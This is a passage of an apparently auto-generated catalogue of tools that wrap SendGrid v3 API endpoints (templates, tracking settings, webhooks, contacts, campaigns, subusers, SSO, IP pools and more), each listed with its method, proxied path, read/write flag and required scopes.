sendgrid_get_v3_teammates_by_username (read) — Get teammate via GET /v3/teammates/{username} GET /api/v1/sendgrid/v3/teammates/{username}. Scopes: teammates.read. sendgrid_get_v3_teammates_pending (read) — List pending teammate via GET /v3/teammates/pending GET /api/v1/sendgrid/v3/teammates/pending. Scopes: teammates.read. sendgrid_get_v3_templates (read) — List template via GET /v3/templates GET /api/v1/sendgrid/v3/templates. Scopes: templates.read. sendgrid_get_v3_templates_by_template_id (read) — Get template via GET /v3/templates/{template_id} GET /api/v1/sendgrid/v3/templates/{template_id}. Scopes: templates.read. sendgrid_get_v3_templates_by_template_id_versions_by_version_id (read) — Get template version via GET /v3/templates/{template_id}/versions/{version_id} GET /api/v1/sendgrid/v3/templates/{template_id}/versions/{version_id}. Scopes: templates.versions.read. sendgrid_get_v3_tracking_settings (read) — List tracking setting via GET /v3/tracking_settings GET /api/v1/sendgrid/v3/tracking_settings. Scopes: tracking_settings.read. sendgrid_get_v3_tracking_settings_click (read) — List click tracking setting via GET /v3/tracking_settings/click GET /api/v1/sendgrid/v3/tracking_settings/click. Scopes: tracking_settings.click.read. sendgrid_get_v3_tracking_settings_google_analytics (read) — List google analytics tracking setting via GET /v3/tracking_settings/google_analytics GET /api/v1/sendgrid/v3/tracking_settings/google_analytics. Scopes: tracking_settings.google_analytics.read. sendgrid_get_v3_tracking_settings_open (read) — List open tracking setting via GET /v3/tracking_settings/open GET /api/v1/sendgrid/v3/tracking_settings/open. Scopes: tracking_settings.open.read. sendgrid_get_v3_tracking_settings_subscription (read) — List subscription tracking setting via GET /v3/tracking_settings/subscription GET /api/v1/sendgrid/v3/tracking_settings/subscription. Scopes: tracking_settings.subscription.read. sendgrid_get_v3_user_account (read) — List account via GET /v3/user/account GET /api/v1/sendgrid/v3/user/account. Scopes: user.account.read. sendgrid_get_v3_user_credits (read) — List credit via GET /v3/user/credits GET /api/v1/sendgrid/v3/user/credits. Scopes: user.credits.read. sendgrid_get_v3_user_email (read) — List email via GET /v3/user/email GET /api/v1/sendgrid/v3/user/email. Scopes: user.email.read. sendgrid_get_v3_user_profile (read) — List profile via GET /v3/user/profile GET /api/v1/sendgrid/v3/user/profile. Scopes: user.profile.read. sendgrid_get_v3_user_scheduled_sends (read) — List scheduled send via GET /v3/user/scheduled_sends GET /api/v1/sendgrid/v3/user/scheduled_sends. Scopes: user.scheduled_sends.read. sendgrid_get_v3_user_scheduled_sends_by_batch_id (read) — Get scheduled send via GET /v3/user/scheduled_sends/{batch_id} GET /api/v1/sendgrid/v3/user/scheduled_sends/{batch_id}. Scopes: user.scheduled_sends.read. sendgrid_get_v3_user_settings_enforced_tls (read) — List enforced tls setting via GET /v3/user/settings/enforced_tls GET /api/v1/sendgrid/v3/user/settings/enforced_tls. Scopes: user.settings.enforced_tls.read. sendgrid_get_v3_user_username (read) — List username via GET /v3/user/username GET /api/v1/sendgrid/v3/user/username. Scopes: user.username.read. sendgrid_get_v3_user_webhooks_event_settings_all (read) — List event webhook via GET /v3/user/webhooks/event/settings/all GET /api/v1/sendgrid/v3/user/webhooks/event/settings/all. Scopes: user.webhooks.event.settings.read. sendgrid_get_v3_user_webhooks_event_settings_by_id (read) — Get event webhook via GET /v3/user/webhooks/event/settings/{id} GET /api/v1/sendgrid/v3/user/webhooks/event/settings/{id}. Scopes: user.webhooks.event.settings.read. sendgrid_get_v3_user_webhooks_event_settings_signed_by_id (read) — Get signed event webhook via GET /v3/user/webhooks/event/settings/signed/{id} GET /api/v1/sendgrid/v3/user/webhooks/event/settings/signed/{id}. Scopes: user.webhooks.event.settings.read. sendgrid_get_v3_user_webhooks_parse_settings (read) — List parse setting via GET /v3/user/webhooks/parse/settings GET /api/v1/sendgrid/v3/user/webhooks/parse/settings. Scopes: user.webhooks.parse.settings.read. sendgrid_get_v3_user_webhooks_parse_settings_by_hostname (read) — Get parse setting via GET /v3/user/webhooks/parse/settings/{hostname} GET /api/v1/sendgrid/v3/user/webhooks/parse/settings/{hostname}. Scopes: user.webhooks.parse.settings.read. sendgrid_get_v3_user_webhooks_parse_stats (read) — List parse static via GET /v3/user/webhooks/parse/stats GET /api/v1/sendgrid/v3/user/webhooks/parse/stats. Scopes: user.webhooks.parse.stats.read. sendgrid_get_v3_user_webhooks_security_policies (read) — List all security policies via GET /v3/user/webhooks/security/policies GET /api/v1/sendgrid/v3/user/webhooks/security/policies. Scopes: none. sendgrid_get_v3_user_webhooks_security_policies_by_id (read) — Get security policy via GET /v3/user/webhooks/security/policies/{id} GET /api/v1/sendgrid/v3/user/webhooks/security/policies/{id}. Scopes: none. sendgrid_get_v3_validations_email_jobs (read) — Get validations email jobs via GET /v3/validations/email/jobs GET /api/v1/sendgrid/v3/validations/email/jobs. Scopes: none. sendgrid_get_v3_validations_email_jobs_by_job_id (read) — Get email job for verification via GET /v3/validations/email/jobs/{job_id} GET /api/v1/sendgrid/v3/validations/email/jobs/{job_id}. Scopes: none. sendgrid_get_v3_verified_senders (read) — List verified sender via GET /v3/verified_senders GET /api/v1/sendgrid/v3/verified_senders. Scopes: none. sendgrid_get_v3_verified_senders_domains (read) — List verified sender domain via GET /v3/verified_senders/domains GET /api/v1/sendgrid/v3/verified_senders/domains. Scopes: none. sendgrid_get_v3_verified_senders_steps_completed (read) — List verified sender steps completed via GET /v3/verified_senders/steps_completed GET /api/v1/sendgrid/v3/verified_senders/steps_completed. Scopes: none. sendgrid_get_v3_verified_senders_verify_by_token (read) — Verify sender token via GET /v3/verified_senders/verify/{token} GET /api/v1/sendgrid/v3/verified_senders/verify/{token}. Scopes: none. sendgrid_get_v3_whitelabel_domains (read) — List authenticated domain via GET /v3/whitelabel/domains GET /api/v1/sendgrid/v3/whitelabel/domains. Scopes: whitelabel.read. sendgrid_get_v3_whitelabel_domains_by_domain_id (read) — Get authenticated domain via GET /v3/whitelabel/domains/{domain_id} GET /api/v1/sendgrid/v3/whitelabel/domains/{domain_id}. Scopes: whitelabel.read. sendgrid_get_v3_whitelabel_domains_default (read) — List default authenticated domain via GET /v3/whitelabel/domains/default GET /api/v1/sendgrid/v3/whitelabel/domains/default. Scopes: whitelabel.read. sendgrid_get_v3_whitelabel_domains_subuser (read) — List authenticated domain with user via GET /v3/whitelabel/domains/subuser GET /api/v1/sendgrid/v3/whitelabel/domains/subuser. Scopes: whitelabel.read. sendgrid_get_v3_whitelabel_domains_subuser_all (read) — List all authenticated domain with user via GET /v3/whitelabel/domains/subuser/all GET /api/v1/sendgrid/v3/whitelabel/domains/subuser/all. Scopes: whitelabel.read. sendgrid_get_v3_whitelabel_ips (read) — List reverse dns via GET /v3/whitelabel/ips GET /api/v1/sendgrid/v3/whitelabel/ips. Scopes: whitelabel.read. sendgrid_get_v3_whitelabel_ips_by_id (read) — Get reverse dns via GET /v3/whitelabel/ips/{id} GET /api/v1/sendgrid/v3/whitelabel/ips/{id}. Scopes: whitelabel.read. sendgrid_get_v3_whitelabel_links (read) — List branded link via GET /v3/whitelabel/links GET /api/v1/sendgrid/v3/whitelabel/links. Scopes: whitelabel.read. sendgrid_get_v3_whitelabel_links_by_id (read) — Get branded link via GET /v3/whitelabel/links/{id} GET /api/v1/sendgrid/v3/whitelabel/links/{id}. Scopes: whitelabel.read. sendgrid_get_v3_whitelabel_links_default (read) — List default branded link via GET /v3/whitelabel/links/default GET /api/v1/sendgrid/v3/whitelabel/links/default. Scopes: whitelabel.read. sendgrid_get_v3_whitelabel_links_subuser (read) — List subuser branded link via GET /v3/whitelabel/links/subuser GET /api/v1/sendgrid/v3/whitelabel/links/subuser. Scopes: whitelabel.read. sendgrid_patch_v3_alerts_by_alert_id (write) — Update alert via PATCH /v3/alerts/{alert_id} PATCH /api/v1/sendgrid/v3/alerts/{alert_id}. Scopes: alerts.update. sendgrid_patch_v3_api_keys_by_api_key_id (write) — Update api key name via PATCH /v3/api_keys/{api_key_id} PATCH /api/v1/sendgrid/v3/api_keys/{api_key_id}. Scopes: api_keys.update. sendgrid_patch_v3_asm_groups_by_group_id (write) — Update asm group via PATCH /v3/asm/groups/{group_id} PATCH /api/v1/sendgrid/v3/asm/groups/{group_id}. Scopes: asm.groups.update. sendgrid_patch_v3_campaigns_by_campaign_id (write) — Update campaign via PATCH /v3/campaigns/{campaign_id} PATCH /api/v1/sendgrid/v3/campaigns/{campaign_id}. Scopes: none. sendgrid_patch_v3_campaigns_by_campaign_id_schedules (write) — Update scheduled campaign via PATCH /v3/campaigns/{campaign_id}/schedules PATCH /api/v1/sendgrid/v3/campaigns/{campaign_id}/schedules. Scopes: none. sendgrid_patch_v3_contactdb_lists_by_list_id (write) — Update contact db list via PATCH /v3/contactdb/lists/{list_id} PATCH /api/v1/sendgrid/v3/contactdb/lists/{list_id}. Scopes: none. sendgrid_patch_v3_contactdb_recipients (write) — Update recipient via PATCH /v3/contactdb/recipients PATCH /api/v1/sendgrid/v3/contactdb/recipients. Scopes: none. sendgrid_patch_v3_contactdb_segments_by_segment_id (write) — Update segment via PATCH /v3/contactdb/segments/{segment_id} PATCH /api/v1/sendgrid/v3/contactdb/segments/{segment_id}. Scopes: none. sendgrid_patch_v3_designs_by_id (write) — Update design via PATCH /v3/designs/{id} PATCH /api/v1/sendgrid/v3/designs/{id}. Scopes: design_library.update. sendgrid_patch_v3_mail_settings_address_whitelist (write) — Update address whitelist via PATCH /v3/mail_settings/address_whitelist PATCH /api/v1/sendgrid/v3/mail_settings/address_whitelist. Scopes: mail_settings.address_whitelist.update. sendgrid_patch_v3_mail_settings_bounce_purge (write) — Update bounce purge via PATCH /v3/mail_settings/bounce_purge PATCH /api/v1/sendgrid/v3/mail_settings/bounce_purge. Scopes: mail_settings.bounce_purge.update. sendgrid_patch_v3_mail_settings_footer (write) — Update footer via PATCH /v3/mail_settings/footer PATCH /api/v1/sendgrid/v3/mail_settings/footer. Scopes: mail_settings.footer.update. sendgrid_patch_v3_mail_settings_forward_bounce (write) — Update forward bounce via PATCH /v3/mail_settings/forward_bounce PATCH /api/v1/sendgrid/v3/mail_settings/forward_bounce. Scopes: mail_settings.forward_bounce.update. sendgrid_patch_v3_mail_settings_forward_spam (write) — Update forward spam via PATCH /v3/mail_settings/forward_spam PATCH /api/v1/sendgrid/v3/mail_settings/forward_spam. Scopes: mail_settings.forward_spam.update. sendgrid_patch_v3_mail_settings_template (write) — Update template via PATCH /v3/mail_settings/template PATCH /api/v1/sendgrid/v3/mail_settings/template. Scopes: mail_settings.template.update. sendgrid_patch_v3_marketing_field_definitions_by_custom_field_id (write) — Update field definition via PATCH /v3/marketing/field_definitions/{custom_field_id} PATCH /api/v1/sendgrid/v3/marketing/field_definitions/{custom_field_id}. Scopes: none. sendgrid_patch_v3_marketing_integrations_by_id (write) — Update integration via PATCH /v3/marketing/integrations/{id} PATCH /api/v1/sendgrid/v3/marketing/integrations/{id}. Scopes: none. sendgrid_patch_v3_marketing_lists_by_id (write) — Update marketing list via PATCH /v3/marketing/lists/{id} PATCH /api/v1/sendgrid/v3/marketing/lists/{id}. Scopes: none. sendgrid_patch_v3_marketing_segments_2_0_by_segment_id (write) — Update segment via PATCH /v3/marketing/segments/2.0/{segment_id} PATCH /api/v1/sendgrid/v3/marketing/segments/2.0/{segment_id}. Scopes: none. sendgrid_patch_v3_marketing_senders_by_id (write) — Update sender via PATCH /v3/marketing/senders/{id} PATCH /api/v1/sendgrid/v3/marketing/senders/{id}. Scopes: none. sendgrid_patch_v3_marketing_singlesends_by_id (write) — Update single send via PATCH /v3/marketing/singlesends/{id} PATCH /api/v1/sendgrid/v3/marketing/singlesends/{id}. Scopes: none. sendgrid_patch_v3_send_ips_ips_by_ip (write) — Update ip via PATCH /v3/send_ips/ips/{ip} PATCH /api/v1/sendgrid/v3/send_ips/ips/{ip}. Scopes: none. sendgrid_patch_v3_senders_by_sender_id (write) — Update sender via PATCH /v3/senders/{sender_id} PATCH /api/v1/sendgrid/v3/senders/{sender_id}. Scopes: none. sendgrid_patch_v3_sso_certificates_by_cert_id (write) — Update sso certificate via PATCH /v3/sso/certificates/{cert_id} PATCH /api/v1/sendgrid/v3/sso/certificates/{cert_id}. Scopes: none. sendgrid_patch_v3_sso_integrations_by_id (write) — Update sso integration via PATCH /v3/sso/integrations/{id} PATCH /api/v1/sendgrid/v3/sso/integrations/{id}. Scopes: none. sendgrid_patch_v3_sso_teammates_by_username (write) — Update sso teammate via PATCH /v3/sso/teammates/{username} PATCH /api/v1/sendgrid/v3/sso/teammates/{username}. Scopes: none. sendgrid_patch_v3_subusers_by_subuser_name (write) — Update subuser via PATCH /v3/subusers/{subuser_name} PATCH /api/v1/sendgrid/v3/subusers/{subuser_name}. Scopes: none. sendgrid_patch_v3_subusers_by_subuser_name_credits_remaining (write) — Update subuser remaining credit via PATCH /v3/subusers/{subuser_name}/credits/remaining PATCH /api/v1/sendgrid/v3/subusers/{subuser_name}/credits/remaining. Scopes: none. sendgrid_patch_v3_subusers_by_subuser_name_website_access (write) — Update subuser website access via PATCH /v3/subusers/{subuser_name}/website_access PATCH /api/v1/sendgrid/v3/subusers/{subuser_name}/website_access. Scopes: none. sendgrid_patch_v3_teammates_by_username (write) — Update teammate via PATCH /v3/teammates/{username} PATCH /api/v1/sendgrid/v3/teammates/{username}. Scopes: teammates.update. sendgrid_patch_v3_templates_by_template_id (write) — Update template via PATCH /v3/templates/{template_id} PATCH /api/v1/sendgrid/v3/templates/{template_id}. Scopes: templates.update. sendgrid_patch_v3_templates_by_template_id_versions_by_version_id (write) — Update template version via PATCH /v3/templates/{template_id}/versions/{version_id} PATCH /api/v1/sendgrid/v3/templates/{template_id}/versions/{version_id}. Scopes: templates.versions.update. sendgrid_patch_v3_tracking_settings_click (write) — Update click tracking setting via PATCH /v3/tracking_settings/click PATCH /api/v1/sendgrid/v3/tracking_settings/click. Scopes: tracking_settings.click.update. sendgrid_patch_v3_tracking_settings_google_analytics (write) — Update google analytics tracking setting via PATCH /v3/tracking_settings/google_analytics PATCH /api/v1/sendgrid/v3/tracking_settings/google_analytics. Scopes: tracking_settings.google_analytics.update. sendgrid_patch_v3_tracking_settings_open (write) — Update open tracking setting via PATCH /v3/tracking_settings/open PATCH /api/v1/sendgrid/v3/tracking_settings/open. Scopes: tracking_settings.open.update. sendgrid_patch_v3_tracking_settings_subscription (write) — Update subscription tracking setting via PATCH /v3/tracking_settings/subscription PATCH /api/v1/sendgrid/v3/tracking_settings/subscription. Scopes: tracking_settings.subscription.update. sendgrid_patch_v3_user_profile (write) — Update profile via PATCH /v3/user/profile PATCH /api/v1/sendgrid/v3/user/profile. Scopes: user.profile.update. sendgrid_patch_v3_user_scheduled_sends_by_batch_id (write) — Update scheduled send via PATCH /v3/user/scheduled_sends/{batch_id} PATCH /api/v1/sendgrid/v3/user/scheduled_sends/{batch_id}. Scopes: user.scheduled_sends.update. sendgrid_patch_v3_user_settings_enforced_tls (write) — Update enforced tls setting via PATCH /v3/user/settings/enforced_tls PATCH /api/v1/sendgrid/v3/user/settings/enforced_tls. Scopes: user.settings.enforced_tls.update. sendgrid_patch_v3_user_webhooks_event_settings_by_id (write) — Update event webhook via PATCH /v3/user/webhooks/event/settings/{id} PATCH /api/v1/sendgrid/v3/user/webhooks/event/settings/{id}. Scopes: user.webhooks.event.settings.update. sendgrid_patch_v3_user_webhooks_event_settings_signed_by_id (write) — Update signed event webhook via PATCH /v3/user/webhooks/event/settings/signed/{id} PATCH /api/v1/sendgrid/v3/user/webhooks/event/settings/signed/{id}. Scopes: user.webhooks.event.settings.update. sendgrid_patch_v3_user_webhooks_parse_settings_by_hostname (write) — Update parse setting via PATCH /v3/user/webhooks/parse/settings/{hostname} PATCH /api/v1/sendgrid/v3/user/webhooks/parse/settings/{hostname}. Scopes: user.webhooks.parse.settings.update. sendgrid_patch_v3_user_webhooks_security_policies_by_id (write) — Update security policy via PATCH /v3/user/webhooks/security/policies/{id} PATCH /api/v1/sendgrid/v3/user/webhooks/security/policies/{id}. Scopes: none. sendgrid_patch_v3_verified_senders_by_id (write) — Update verified sender via PATCH /v3/verified_senders/{id} PATCH /api/v1/sendgrid/v3/verified_senders/{id}. Scopes: none. sendgrid_patch_v3_whitelabel_domains_by_domain_id (write) — Update authenticated domain via PATCH /v3/whitelabel/domains/{domain_id} PATCH /api/v1/sendgrid/v3/whitelabel/domains/{domain_id}. Scopes: whitelabel.update. sendgrid_patch_v3_whitelabel_links_by_id (write) — Update branded link via PATCH /v3/whitelabel/links/{id} PATCH /api/v1/sendgrid/v3/whitelabel/links/{id}. Scopes: whitelabel.update. sendgrid_post_v3_access_settings_whitelist (write) — Add ip to allow list via POST /v3/access_settings/whitelist POST /api/v1/sendgrid/v3/access_settings/whitelist. Scopes: access_settings.whitelist.create. sendgrid_post_v3_alerts (write) — Create alert via POST /v3/alerts POST /api/v1/sendgrid/v3/alerts. Scopes: alerts.create. sendgrid_post_v3_api_keys (write) — Create api key via POST /v3/api_keys POST /api/v1/sendgrid/v3/api_keys. Scopes: api_keys.create. sendgrid_post_v3_asm_groups (write) — Creat asm group via POST /v3/asm/groups POST /api/v1/sendgrid/v3/asm/groups. Scopes: asm.groups.create. sendgrid_post_v3_asm_groups_by_group_id_suppressions (write) — Add suppression to asm group via POST /v3/asm/groups/{group_id}/suppressions POST /api/v1/sendgrid/v3/asm/groups/{group_id}/suppressions. Scopes: asm.groups.suppressions.create. sendgrid_post_v3_asm_groups_by_group_id_suppressions_search (write) — Search suppression from asm group via POST /v3/asm/groups/{group_id}/suppressions/search POST /api/v1/sendgrid/v3/asm/groups/{group_id}/suppressions/search. Scopes: asm.groups.suppressions.create. sendgrid_post_v3_asm_suppressions_global (write) — Create global suppression via POST /v3/asm/suppressions/global POST /api/v1/sendgrid/v3/asm/suppressions/global. Scopes: asm.suppressions.global.create. sendgrid_post_v3_campaigns (write) — Create campaign via POST /v3/campaigns POST /api/v1/sendgrid/v3/campaigns. Scopes: none. sendgrid_post_v3_campaigns_by_campaign_id_schedules (write) — Schedule campaign via POST /v3/campaigns/{campaign_id}/schedules POST /api/v1/sendgrid/v3/campaigns/{campaign_id}/schedules. Scopes: none. sendgrid_post_v3_campaigns_by_campaign_id_schedules_now (write) — Send campaign via POST /v3/campaigns/{campaign_id}/schedules/now POST /api/v1/sendgrid/v3/campaigns/{campaign_id}/schedules/now. Scopes: none. sendgrid_post_v3_campaigns_by_campaign_id_schedules_test (write) — Send test campaign via POST /v3/campaigns/{campaign_id}/schedules/test POST /api/v1/sendgrid/v3/campaigns/{campaign_id}/schedules/test. Scopes: none. sendgrid_post_v3_contactdb_custom_fields (write) — Create custom field via POST /v3/contactdb/custom_fields POST /api/v1/sendgrid/v3/contactdb/custom_fields. Scopes: none. sendgrid_post_v3_contactdb_exports (write) — Export recipient via POST /v3/contactdb/exports POST /api/v1/sendgrid/v3/contactdb/exports. Scopes: none. sendgrid_post_v3_contactdb_lists (write) — Create contact db list via POST /v3/contactdb/lists POST /api/v1/sendgrid/v3/contactdb/lists. Scopes: none. sendgrid_post_v3_contactdb_lists_by_list_id_recipients (write) — Add recipients to contact db list via POST /v3/contactdb/lists/{list_id}/recipients POST /api/v1/sendgrid/v3/contactdb/lists/{list_id}/recipients. Scopes: none. sendgrid_post_v3_contactdb_lists_by_list_id_recipients_by_recipient_id (write) — Add recipient to contact db list via POST /v3/contactdb/lists/{list_id}/recipients/{recipient_id} POST /api/v1/sendgrid/v3/contactdb/lists/{list_id}/recipients/{recipient_id}. Scopes: none. sendgrid_post_v3_contactdb_recipients (write) — Add recipient via POST /v3/contactdb/recipients POST /api/v1/sendgrid/v3/contactdb/recipients. Scopes: none. sendgrid_post_v3_contactdb_recipients_search (write) — Search recipient via POST /v3/contactdb/recipients/search POST /api/v1/sendgrid/v3/contactdb/recipients/search. Scopes: none. sendgrid_post_v3_contactdb_segments (write) — Create segment via POST /v3/contactdb/segments POST /api/v1/sendgrid/v3/contactdb/segments. Scopes: none. sendgrid_post_v3_designs (write) — Create design via POST /v3/designs POST /api/v1/sendgrid/v3/designs. Scopes: design_library.create. sendgrid_post_v3_designs_by_id (write) — Duplicate design via POST /v3/designs/{id} POST /api/v1/sendgrid/v3/designs/{id}. Scopes: design_library.create. sendgrid_post_v3_designs_pre_builts_by_id (write) — Duplicate pre built design via POST /v3/designs/pre-builts/{id} POST /api/v1/sendgrid/v3/designs/pre-builts/{id}. Scopes: design_library.create. sendgrid_post_v3_ips (write) — Add ip via POST /v3/ips POST /api/v1/sendgrid/v3/ips. Scopes: none. sendgrid_post_v3_ips_pools (write) — Create ip pool via POST /v3/ips/pools POST /api/v1/sendgrid/v3/ips/pools. Scopes: none. sendgrid_post_v3_ips_pools_by_pool_name_ips (write) — Add ip to ip pool via POST /v3/ips/pools/{pool_name}/ips POST /api/v1/sendgrid/v3/ips/pools/{pool_name}/ips. Scopes: none. sendgrid_post_v3_ips_warmup (write) — Warm up ip via POST /v3/ips/warmup POST /api/v1/sendgrid/v3/ips/warmup. Scopes: none. sendgrid_post_v3_logs (write) — List messages by filter via POST /v3/logs POST /api/v1/sendgrid/v3/logs. Scopes: none. sendgrid_post_v3_mail_batch (write) — Create mail batch via POST /v3/mail/batch POST /api/v1/sendgrid/v3/mail/batch. Scopes: mail.batch.create. sendgrid_post_v3_mail_send (write) — Send mail via POST /v3/mail/send POST /api/v1/sendgrid/v3/mail/send. Scopes: mail.send. sendgrid_post_v3_marketing_contacts_batch (write) — List batched contact via POST /v3/marketing/contacts/batch POST /api/v1/sendgrid/v3/marketing/contacts/batch. Scopes: none. sendgrid_post_v3_marketing_contacts_exports (write) — Export contact via POST /v3/marketing/contacts/exports POST /api/v1/sendgrid/v3/marketing/contacts/exports. Scopes: none. sendgrid_post_v3_marketing_contacts_search (write) — Search contact via POST /v3/marketing/contacts/search POST /api/v1/sendgrid/v3/marketing/contacts/search. Scopes: none. sendgrid_post_v3_marketing_contacts_search_emails (write) — List contact by email via POST /v3/marketing/contacts/search/emails POST /api/v1/sendgrid/v3/marketing/contacts/search/emails. Scopes: none. sendgrid_post_v3_marketing_contacts_search_identifiers_by_identifier_type (write) — Get contact by identifiers via POST /v3/marketing/contacts/search/identifiers/{identifier_type} POST /api/v1/sendgrid/v3/marketing/contacts/search/identifiers/{identifier_type}. Scopes: none. sendgrid_post_v3_marketing_field_definitions (write) — Create field definition via POST /v3/marketing/field_definitions POST /api/v1/sendgrid/v3/marketing/field_definitions. Scopes: none. sendgrid_post_v3_marketing_integrations (write) — Add integration via POST /v3/marketing/integrations POST /api/v1/sendgrid/v3/marketing/integrations. Scopes: none. sendgrid_post_v3_marketing_lists (write) — Create marketing list via POST /v3/marketing/lists POST /api/v1/sendgrid/v3/marketing/lists. Scopes: none. sendgrid_post_v3_marketing_segments_2_0 (write) — Create segment via POST /v3/marketing/segments/2.0 POST /api/v1/sendgrid/v3/marketing/segments/2.0. Scopes: none. sendgrid_post_v3_marketing_segments_2_0_refresh_by_segment_id (write) — Refresh segment via POST /v3/marketing/segments/2.0/refresh/{segment_id} POST /api/v1/sendgrid/v3/marketing/segments/2.0/refresh/{segment_id}. Scopes: none. sendgrid_post_v3_marketing_senders (write) — Create sender via POST /v3/marketing/senders POST /api/v1/sendgrid/v3/marketing/senders. Scopes: none. sendgrid_post_v3_marketing_senders_by_id_resend_verification (write) — Reset sender verification via POST /v3/marketing/senders/{id}/resend_verification POST /api/v1/sendgrid/v3/marketing/senders/{id}/resend_verification. Scopes: none. sendgrid_post_v3_marketing_singlesends (write) — Create single send via POST /v3/marketing/singlesends POST /api/v1/sendgrid/v3/marketing/singlesends. Scopes: none. sendgrid_post_v3_marketing_singlesends_by_id (write) — Duplicate single send via POST /v3/marketing/singlesends/{id} POST /api/v1/sendgrid/v3/marketing/singlesends/{id}. Scopes: none. sendgrid_post_v3_marketing_singlesends_search (write) — Search single send via POST /v3/marketing/singlesends/search POST /api/v1/sendgrid/v3/marketing/singlesends/search. Scopes: none. sendgrid_post_v3_marketing_test_send_email (write) — Send test marketing email via POST /v3/marketing/test/send_email POST /api/v1/sendgrid/v3/marketing/test/send_email. Scopes: none. sendgrid_post_v3_messages_download (write) — Request csv via POST /v3/messages/download POST /api/v1/sendgrid/v3/messages/download. Scopes: none. sendgrid_post_v3_partners_accounts (write) — Create account via POST /v3/partners/accounts POST /api/v1/sendgrid/v3/partners/accounts. Scopes: none. sendgrid_post_v3_partners_accounts_by_accountid_ips (write) — Add account ips via POST /v3/partners/accounts/{accountID}/ips POST /api/v1/sendgrid/v3/partners/accounts/{accountID}/ips. Scopes: none. sendgrid_post_v3_partners_accounts_by_accountid_sso (write) — Authenticate account via POST /v3/partners/accounts/{accountID}/sso POST /api/v1/sendgrid/v3/partners/accounts/{accountID}/sso. Scopes: none. sendgrid_post_v3_recipients_erasejob (write) — Erase recipient email data via POST /v3/recipients/erasejob POST /api/v1/sendgrid/v3/recipients/erasejob. Scopes: recipients.erasejob.create. sendgrid_post_v3_send_ips_ips (write) — Add ip via POST /v3/send_ips/ips POST /api/v1/sendgrid/v3/send_ips/ips. Scopes: none. sendgrid_post_v3_send_ips_ips_by_ip_subusers_batchadd (write) — Add sub users to ip via POST /v3/send_ips/ips/{ip}/subusers:batchAdd POST /api/v1/sendgrid/v3/send_ips/ips/{ip}/subusers:batchAdd. Scopes: none. sendgrid_post_v3_send_ips_ips_by_ip_subusers_batchdelete (write) — Delete sub users from ip via POST /v3/send_ips/ips/{ip}/subusers:batchDelete POST /api/v1/sendgrid/v3/send_ips/ips/{ip}/subusers:batchDelete. Scopes: none. sendgrid_post_v3_send_ips_pools (write) — Create ip pool via POST /v3/send_ips/pools POST /api/v1/sendgrid/v3/send_ips/pools. Scopes: none. sendgrid_post_v3_send_ips_pools_by_poolid_ips_batchadd (write) — Add ips to ip pool via POST /v3/send_ips/pools/{poolid}/ips:batchAdd POST /api/v1/sendgrid/v3/send_ips/pools/{poolid}/ips:batchAdd. Scopes: none. sendgrid_post_v3_send_ips_pools_by_poolid_ips_batchdelete (write) — Delete ips from ip pool via POST /v3/send_ips/pools/{poolid}/ips:batchDelete POST /api/v1/sendgrid/v3/send_ips/pools/{poolid}/ips:batchDelete. Scopes: none. sendgrid_post_v3_senders (write) — Create sender via POST /v3/senders POST /api/v1/sendgrid/v3/senders. Scopes: none. sendgrid_post_v3_senders_by_sender_id_resend_verification (write) — Reset sender verification via POST /v3/senders/{sender_id}/resend_verification POST /api/v1/sendgrid/v3/senders/{sender_id}/resend_verification. Scopes: none. sendgrid_post_v3_sso_certificates (write) — Create sso certificate via POST /v3/sso/certificates POST /api/v1/sendgrid/v3/sso/certificates. Scopes: none. sendgrid_post_v3_sso_integrations (write) — Create sso integration via POST /v3/sso/integrations POST /api/v1/sendgrid/v3/sso/integrations. Scopes: none. sendgrid_post_v3_sso_teammates (write) — Create sso teammate via POST /v3/sso/teammates POST /api/v1/sendgrid/v3/sso/teammates. Scopes: none. sendgrid_post_v3_subusers (write) — Create subuser via POST /v3/subusers POST /api/v1/sendgrid/v3/subusers. Scopes: none. sendgrid_post_v3_teammates (write) — Invite teammate via POST /v3/teammates POST /api/v1/sendgrid/v3/teammates. Scopes: teammates.create. sendgrid_post_v3_teammates_pending_by_token_resend (write) — Resend teammate invite via POST /v3/teammates/pending/{token}/resend POST /api/v1/sendgrid/v3/teammates/pending/{token}/resend. Scopes: teammates.create. sendgrid_post_v3_templates (write) — Create template via POST /v3/templates POST /api/v1/sendgrid/v3/templates. Scopes: templates.create. sendgrid_post_v3_templates_by_template_id (write) — Duplicate template via POST /v3/templates/{template_id} POST /api/v1/sendgrid/v3/templates/{template_id}. Scopes: templates.create. sendgrid_post_v3_templates_by_template_id_versions (write) — Create template version via POST /v3/templates/{template_id}/versions POST /api/v1/sendgrid/v3/templates/{template_id}/versions. Scopes: templates.versions.create. sendgrid_post_v3_templates_by_template_id_versions_by_version_id_activate (write) — Activate template version via POST /v3/templates/{template_id}/versions/{version_id}/activate POST /api/v1/sendgrid/v3/templates/{template_id}/versions/{version_id}/activate. Scopes: templates.versions.activate.create. sendgrid_post_v3_user_scheduled_sends (write) — Create scheduled send via POST /v3/user/scheduled_sends POST /api/v1/sendgrid/v3/user/scheduled_sends. Scopes: user.scheduled_sends.create. sendgrid_post_v3_user_webhooks_event_settings (write) — Create event webhook via POST /v3/user/webhooks/event/settings POST /api/v1/sendgrid/v3/user/webhooks/event/settings. Scopes: user.webhooks.event.settings.create. sendgrid_post_v3_user_webhooks_event_test (write) — Test event webhook via POST /v3/user/webhooks/event/test POST /api/v1/sendgrid/v3/user/webhooks/event/test. Scopes: user.webhooks.event.test.create. sendgrid_post_v3_user_webhooks_parse_settings (write) — Create parse setting via POST /v3/user/webhooks/parse/settings POST /api/v1/sendgrid/v3/user/webhooks/parse/settings. Scopes: user.webhooks.parse.settings.create. sendgrid_post_v3_user_webhooks_security_policies (write) — Create security policy via POST /v3/user/webhooks/security/policies POST /api/v1/sendgrid/v3/user/webhooks/security/policies. Scopes: none. sendgrid_post_v3_validations_email (write) — Validate email via POST /v3/validations/email POST /api/v1/sendgrid/v3/validations/email. Scopes: none. sendgrid_post_v3_verified_senders (write) — Create verified sender via POST /v3/verified_senders POST /api/v1/sendgrid/v3/verified_senders. Scopes: none. sendgrid_post_v3_verified_senders_resend_by_id (write) — Resend verified sender via POST /v3/verified_senders/resend/{id} POST /api/v1/sendgrid/v3/verified_senders/resend/{id}. Scopes: none. sendgrid_post_v3_whitelabel_dns_email (write) — Email dns record via POST /v3/whitelabel/dns/email POST /api/v1/sendgrid/v3/whitelabel/dns/email. Scopes: whitelabel.create. sendgrid_post_v3_whitelabel_domains (write) — Authenticate domain via POST /v3/whitelabel/domains POST /api/v1/sendgrid/v3/whitelabel/domains. Scopes: whitelabel.create. 